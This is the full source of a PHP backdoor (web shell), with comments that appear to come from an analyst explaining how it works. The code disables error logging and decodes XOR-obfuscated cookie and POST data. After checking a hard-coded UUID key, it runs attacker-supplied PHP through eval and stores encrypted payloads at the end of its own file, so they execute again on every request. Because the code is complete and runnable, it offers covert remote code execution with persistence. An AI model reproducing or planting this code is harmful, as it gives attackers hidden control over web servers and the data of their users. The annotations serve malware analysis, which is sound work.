<?php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('file_put_contents '))  // notice trailing space
{
    define('file_put_contents ', 1); // not a function name, but a constant

	// serves as a password and an XOR key string.
    $gl_uuid = '7fb3a379-7087-4028-b2ca-7a0985866dc9';
    global $gl_uuid;

	// Native PHP reimplementation of base64_decode()
    function decode_base64($string) {

        if (strlen($string) < 4)
        {
            return "";
        }

        $allowable_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

        $intermediate = str_split($allowable_chars); # array('A', 'B', 'C',...
        $b64values = array_flip($intermediate); # Numbers indexed by letters

        $idx = 0;
        $plaintext = "";

		// Remove any non-base64-encoding characters
        $ciphertext = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $string);

        do {
            $c1 = $b64values[$ciphertext[$idx++]];
            $c2 = $b64values[$ciphertext[$idx++]];
            $c3 = $b64values[$ciphertext[$idx++]];
            $c4 = $b64values[$ciphertext[$idx++]];

            $b1 = ($c1 << 2) | ($c2 >> 4);
            $b2 = (($c2 & 15) << 4) | ($c3 >> 2);
            $b3 = (($c3 & 3) << 6) | $c4;
            $plaintext = $plaintext . chr($b1);
			// Leave off '='
            if ($c3 != 64) {
                $plaintext = $plaintext . chr($b2);
            }
            if ($c4 != 64) {
                $plaintext = $plaintext . chr($b3);
            }
        } while ($idx < strlen($ciphertext));
        return $plaintext;
    }

    function get_filename()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function xorstring($string, $xorkey)
    {
        $xortext = "";

        for ($idx=0; $idx < strlen($string);)
        {
            for ($idx2 = 0; $idx2 < strlen($xorkey) && $idx < strlen($string); $idx2++, $idx ++)
            {
                $xortext .= chr(ord($string[$idx ]) ^ ord($xorkey[$idx2]));
            }
        }

        return $xortext;
    }

    function my_encode($text, $key)
    {
        global $gl_uuid;
        return xorstring(xorstring($text, $key), $gl_uuid);
    }

    function my_decode($text, $key)
    {
        global $gl_uuid;
        return xorstring(xorstring($text, $gl_uuid), $key);
    }

    function get_attributes()
    {
        $file_contents = @file_get_contents(get_filename());

		# md5(get_filename())) -> "a1a1fd5781c87fc2bab6b91cca71963d"
        $hash_position = strpos($file_contents, md5(get_filename()));
        if ($hash_position !== FALSE)
        {
            $tmp_str = substr($file_contents, $hash_position + 32);
            $zivtfol = @unserialize(
				my_encode(
					rawurldecode($tmp_str),
					md5(get_filename())
				)
			);
        }
        else
        {
            $zivtfol = Array();
        }

        return $zivtfol;
    }

    function set_attributes($zivtfol)
    {
        $plosoit = rawurlencode(my_decode(@serialize($zivtfol), md5(get_filename())));
        $xiulds = @file_get_contents(get_filename());

        $pwaqouaj = strpos($xiulds, md5(get_filename()));
        if ($pwaqouaj !== FALSE)
        {
            $rmiovjj = substr($xiulds, $pwaqouaj + 32);
            $xiulds = str_replace($rmiovjj, $plosoit, $xiulds);

        }
        else
        {
            $xiulds = $xiulds . "\n\n//" . md5(get_filename()) . $plosoit;
        }

        @file_put_contents(get_filename(), $xiulds);
    }

	// Add name/value pair to end of file
    function set_attribute($name, $value)
    {
        $zivtfol = get_attributes();

        $zivtfol[$name] = decode_base64($value);

        set_attributes($zivtfol);
    }

	// delete name/value pair from end of file
    function unset_attribute($name)
    {
        $zivtfol = get_attributes();

        unset($zivtfol[$name]);

        set_attributes($zivtfol);
    }

    function main($name=NULL)
    {
        foreach (get_attributes() as $key=>$value)
        {
            if ($name)
            {
                if (strcmp($name, $key) == 0)
                {
                    eval($value);
                    break;
                }
            }
            else
            {
                eval($value);
            }
        }
    }

    foreach (array_merge($_COOKIE, $_POST) as $name => $value)
    {
        $value = @unserialize(my_encode(decode_base64($value), $name));

		// Checks to see if cookie or POST name of "ak" appears,
		// and if it matches the value of $gl_uuid from above,
		// kind of a password check.
        if (isset($value['ak']) && $gl_uuid==$value['ak'])
        {
			// cookie or POST name of "a" must indicate "action"
            if ($value['a'] == 'i') // Return site information
            {
                $siteinfo = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',  // version of this software, probably
                    'ak' => $value['ak'],
                );
                echo @serialize($siteinfo);
                exit;
            }
            elseif ($value['a'] == 'e')  // "e" for eval
            {
                eval($value['d']); // eval value of attribute "d"
            }
            elseif ($value['a'] == 'plugin')
            {
                if($value['sa'] == 'add')
                {
                    set_attribute($value['p'], $value['d']);
                }
                elseif($value['sa'] == 'rem')
                {
                    unset_attribute($value['p']);
                }
            }
            echo $value['ak'];
            exit();
        }
    }

    main();
}
